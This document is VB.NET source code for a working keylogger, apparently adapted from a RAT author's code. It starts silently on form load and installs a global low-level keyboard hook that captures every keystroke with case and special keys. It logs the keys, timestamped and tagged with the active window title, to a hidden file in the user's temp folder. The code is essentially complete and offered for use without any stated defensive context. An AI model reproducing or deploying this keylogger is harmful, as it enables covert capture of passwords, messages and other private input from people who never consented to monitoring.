Logger

'Thanks NYANxCAT

'Form1/Main:
    Dim s As String = New IO.FileInfo(Application.ExecutablePath).Name
    Dim loggerPath As String = IO.Path.GetTempPath & "\" & s & ".log"
    Public PcUsername As String = Environment.UserName
    Dim LoggerThread As Thread = New Thread(AddressOf Logger.Start, 1)

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    LoggerThread.Start()
    End Sub





'Module Logger.vb:
Imports System.IO
Imports System.Text
Imports System.Runtime.InteropServices

Module Logger
    Private s As String = New IO.FileInfo(Application.ExecutablePath).Name
    Private ReadOnly loggerPath As String = IO.Path.GetTempPath & "\" & s & ".log"
    Private CurrentActiveWindowTitle As String

    Function Start()
        _hookID = SetHook(_proc)
        Application.Run()
        Return True
    End Function

    Private Function SetHook(ByVal proc As LowLevelKeyboardProc) As IntPtr
        Using curProcess As Process = Process.GetCurrentProcess()
            Return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curProcess.ProcessName), 0)
        End Using
    End Function

    Private Function HookCallback(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
        If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
            Dim vkCode As Integer = Marshal.ReadInt32(lParam)
            Dim capsLock As Boolean = (GetKeyState(&H14) And &HFFFF) <> 0
            Dim shiftPress As Boolean = (GetKeyState(&HA0) And &H8000) <> 0 OrElse (GetKeyState(&HA1) And &H8000) <> 0
            Dim currentKey As String = KeyboardLayout(CUInt(vkCode))

            If capsLock OrElse shiftPress Then
                currentKey = currentKey.ToUpper()
            Else
                currentKey = currentKey.ToLower()
            End If

            If CType(vkCode, Keys) >= Keys.F1 AndAlso CType(vkCode, Keys) <= Keys.F24 Then
                currentKey = "[" & CType(vkCode, Keys) & "]"
            Else

                Select Case (CType(vkCode, Keys)).ToString()
                    Case "Space"
                        currentKey = "<span class=""k"">[SPACE]</span>"
                    Case "Return"
                        currentKey = "<span class=""k"">[ENTER]</span>"
                    Case "Escape"
                        currentKey = "<span class=""k"">[ESC]</span>"
                    Case "LControlKey"
                        currentKey = "<span class=""k"">[CTRL]</span>"
                    Case "RControlKey"
                        currentKey = "<span class=""k"">[CTRL]</span>"
                    Case "RShiftKey"
                        currentKey = "<span class=""k"">[Shift]</span>"
                    Case "LShiftKey"
                        currentKey = "<span class=""k"">[Shift]</span>"
                    Case "Back"
                        currentKey = "<span class=""k"">[Back]</span>"
                    Case "LWin"
                        currentKey = "<span class=""k"">[WIN]</span>"
                    Case "Tab"
                        currentKey = "<span class=""k"">[Tab]</span>"
                    Case "Capital"

                        If capsLock = True Then
                            currentKey = "<span class=""k"">[CAPSLOCK: OFF]</span>"
                        Else
                            currentKey = "<span class=""k"">[CAPSLOCK: ON]</span>"
                        End If
                End Select
            End If

            Using sw As StreamWriter = New StreamWriter(loggerPath, True)

                If CurrentActiveWindowTitle = GetActiveWindowTitle() Then
                    sw.Write(currentKey)
                Else
                    sw.WriteLine(Environment.NewLine)
                    sw.WriteLine("### { " & HM() & " - " & GetActiveWindowTitle() & " } ###")
                    sw.Write(currentKey)
                End If
            End Using
        End If

        Return CallNextHookEx(_hookID, nCode, wParam, lParam)
    End Function
    Public Clock As New Microsoft.VisualBasic.Devices.Clock
    Private Function HM() As String
        Try
            Return Clock.LocalTime.ToString("dd/MM/yy HH:mm tt")
        Catch
            Return "??/??/??"
        End Try
    End Function
    Private Function KeyboardLayout(ByVal vkCode As UInteger) As String
        Dim processId As UInteger = Nothing

        Try
            Dim sb As StringBuilder = New StringBuilder()
            Dim vkBuffer As Byte() = New Byte(255) {}
            If Not GetKeyboardState(vkBuffer) Then Return ""
            Dim scanCode As UInteger = MapVirtualKey(vkCode, 0)
            Dim keyboardLayouty As IntPtr = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), processId))
            ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayouty)
            Return sb.ToString()
        Catch
        End Try

        Return (CType(vkCode, Keys)).ToString()
    End Function

    Private Function GetActiveWindowTitle() As String
        Dim pid As UInteger = Nothing

        Try
            Dim hwnd As IntPtr = GetForegroundWindow()
            GetWindowThreadProcessId(hwnd, pid)
            Dim p As Process = Process.GetProcessById(CInt(pid))
            Dim title As String = p.MainWindowTitle
            If String.IsNullOrEmpty(title) Then title = p.ProcessName
            CurrentActiveWindowTitle = title
            Return title
        Catch __unusedException1__ As Exception
            Return "???"
        End Try
    End Function

    Private Const WM_KEYDOWN As Integer = &H100
    Private _proc As LowLevelKeyboardProc = AddressOf HookCallback
    Private _hookID As IntPtr = IntPtr.Zero
    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As LowLevelKeyboardProc, ByVal hMod As IntPtr, ByVal dwThreadId As UInteger) As IntPtr
    End Function
    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
    End Function
    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
    End Function
    Private WHKEYBOARDLL As Integer = 13
    Private Delegate Function LowLevelKeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
    <DllImport("user32.dll")>
    Private Function GetForegroundWindow() As IntPtr
    End Function
    <DllImport("user32.dll", SetLastError:=True)>
    Private Function GetWindowThreadProcessId(ByVal hWnd As IntPtr, <Out> ByRef lpdwProcessId As UInteger) As UInteger
    End Function
    <DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
    Function GetKeyState(ByVal keyCode As Integer) As Short
    End Function
    <DllImport("user32.dll", SetLastError:=True)>
    Private Function GetKeyboardState(ByVal lpKeyState As Byte()) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
    <DllImport("user32.dll")>
    Private Function GetKeyboardLayout(ByVal idThread As UInteger) As IntPtr
    End Function
    <DllImport("user32.dll")>
    Private Function ToUnicodeEx(ByVal wVirtKey As UInteger, ByVal wScanCode As UInteger, ByVal lpKeyState As Byte(),
    <Out, MarshalAs(UnmanagedType.LPWStr)> ByVal pwszBuff As StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInteger, ByVal dwhkl As IntPtr) As Integer
    End Function
    <DllImport("user32.dll")>
    Private Function MapVirtualKey(ByVal uCode As UInteger, ByVal uMapType As UInteger) As UInteger
    End Function
End Module